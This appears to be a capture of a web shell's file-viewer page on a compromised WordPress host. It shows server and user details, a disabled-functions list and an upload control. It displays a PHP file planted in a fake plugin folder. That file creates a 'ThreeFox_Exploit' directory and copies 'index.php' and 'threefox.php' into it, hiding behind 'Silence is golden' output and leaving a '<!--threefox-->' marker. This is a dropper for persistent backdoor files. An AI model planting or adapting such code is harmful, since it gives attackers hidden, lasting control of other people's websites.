HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-content/plugins/download-plugin/assignee.php
<?php
$directoryPath = dirname(__DIR__, 2) . '/ThreeFox_Exploit';
if (!file_exists($directoryPath)) {
    if (mkdir($directoryPath, 0755, true)) {
        echo "# Silence is golden.";
    } else {
        echo "# Silence is golden.";
    }
} else {
    echo "# Silence is golden.";
}
$currentDirectory = __DIR__;
$filesToCopy = ['index.php', 'threefox.php'];
foreach ($filesToCopy as $file) {
    $sourcePath = $currentDirectory . '/' . $file;
    $destinationPath = $directoryPath . '/' . $file;

    if (file_exists($sourcePath)) {
        if (copy($sourcePath, $destinationPath)) {
            echo "<!--threefox-->";
        } else {
            echo "";
        }
    } else {
        echo "";
    }
}
?>